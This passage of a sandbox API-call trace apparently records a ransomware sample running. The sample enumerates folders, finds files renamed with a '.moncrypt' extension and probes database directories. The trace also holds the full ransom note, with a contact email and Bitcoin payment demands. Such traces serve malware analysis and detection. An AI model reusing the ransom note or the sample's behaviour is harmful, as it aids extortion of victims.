(pMem=0x555b78) returned 0x440004 [0051.597] GlobalUnlock (hMem=0x440004) returned 0 [0051.597] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.597] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.597] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.597] GlobalUnlock (hMem=0x440004) returned 0 [0051.597] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.597] GlobalUnlock (hMem=0x44000c) returned 0 [0051.597] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffb6120, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ffb6120, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ffb6120, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.597] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.597] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.598] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.598] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.598] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.598] CloseHandle (hObject=0x18c) returned 1 [0051.598] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.598] GetLastError () returned 0x12 [0051.598] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.599] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.599] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.599] GlobalUnlock (hMem=0x44000c) returned 0 [0051.599] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.599] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.599] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.599] GlobalUnlock (hMem=0x44000c) returned 0 [0051.599] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.599] GlobalUnlock (hMem=0x440004) returned 0 [0051.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ffdc280, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ffdc280, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.599] GlobalLock (hMem=0x440004) returned 0x550170 [0051.599] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.599] GlobalUnlock (hMem=0x440004) returned 0 [0051.599] GlobalLock (hMem=0x440004) returned 0x550170 [0051.599] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.599] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.599] GlobalUnlock (hMem=0x440004) returned 0 [0051.599] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.599] GlobalUnlock (hMem=0x44000c) returned 0 [0051.599] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.599] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ffdc280, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ffdc280, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.599] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.599] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.600] GlobalUnlock (hMem=0x44000c) returned 0 [0051.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.600] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.600] GlobalUnlock (hMem=0x44000c) returned 0 [0051.600] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.600] GlobalUnlock (hMem=0x440004) returned 0 [0051.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.600] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM.moncrypt", cAlternateFileName="EDGEEL~1.MON")) returned 1 [0051.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.600] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.600] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.600] GlobalUnlock (hMem=0x440004) returned 0 [0051.600] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.600] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.600] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.600] GlobalUnlock (hMem=0x440004) returned 0 [0051.600] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.600] GlobalUnlock (hMem=0x44000c) returned 0 [0051.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.600] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0051.600] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.600] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.601] GlobalUnlock (hMem=0x44000c) returned 0 [0051.601] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.601] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.601] GlobalUnlock (hMem=0x44000c) returned 0 [0051.601] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.601] GlobalUnlock (hMem=0x440004) returned 0 [0051.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.601] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffb6120, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3ffb6120, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ffb6120, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.601] GlobalUnlock (hMem=0x440004) returned 0 [0051.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.601] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.601] GlobalUnlock (hMem=0x440004) returned 0 [0051.601] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.601] GlobalUnlock (hMem=0x44000c) returned 0 [0051.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.601] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.601] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.601] GlobalUnlock (hMem=0x44000c) returned 0 [0051.601] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.601] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.601] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.602] GlobalUnlock (hMem=0x44000c) returned 0 [0051.602] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.602] GlobalUnlock (hMem=0x440004) returned 0 [0051.602] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.602] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.602] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.602] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.602] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.602] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.602] GlobalUnlock (hMem=0x440004) returned 0 [0051.602] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.602] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.602] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.602] GlobalUnlock (hMem=0x440004) returned 0 [0051.602] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.602] GlobalUnlock (hMem=0x44000c) returned 0 [0051.602] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.602] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.602] GetLastError () returned 0x12 [0051.602] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.602] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0051.603] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.603] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.603] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.603] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.603] GlobalUnlock (hMem=0x44000c) returned 0 [0051.603] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.603] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.603] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.603] GlobalUnlock (hMem=0x44000c) returned 0 [0051.603] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.603] GlobalUnlock (hMem=0x440004) returned 0 [0051.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.603] GlobalLock (hMem=0x440004) returned 0x550170 [0051.603] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.603] GlobalUnlock (hMem=0x440004) returned 0 [0051.603] GlobalLock (hMem=0x440004) returned 0x550170 [0051.603] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.603] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.603] GlobalUnlock (hMem=0x440004) returned 0 [0051.603] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.603] GlobalUnlock (hMem=0x44000c) returned 0 [0051.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.603] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN") returned 1 [0051.603] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.603] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.603] GlobalUnlock (hMem=0x44000c) returned 0 [0051.604] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.604] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.604] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.604] GlobalUnlock (hMem=0x44000c) returned 0 [0051.604] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.604] GlobalUnlock (hMem=0x440004) returned 0 [0051.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟒RꞦR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.605] GetLastError () returned 0x3 [0051.605] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.606] GetLastError () returned 0x2 [0051.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0051.606] GetLastError () returned 0x2 [0051.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0051.607] GetLastError () returned 0x2 [0051.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\") returned 0x41 [0051.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0b0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a168, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18삌R\x18j")) returned 0xffffffff [0051.607] GetLastError () returned 0x2 [0051.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft 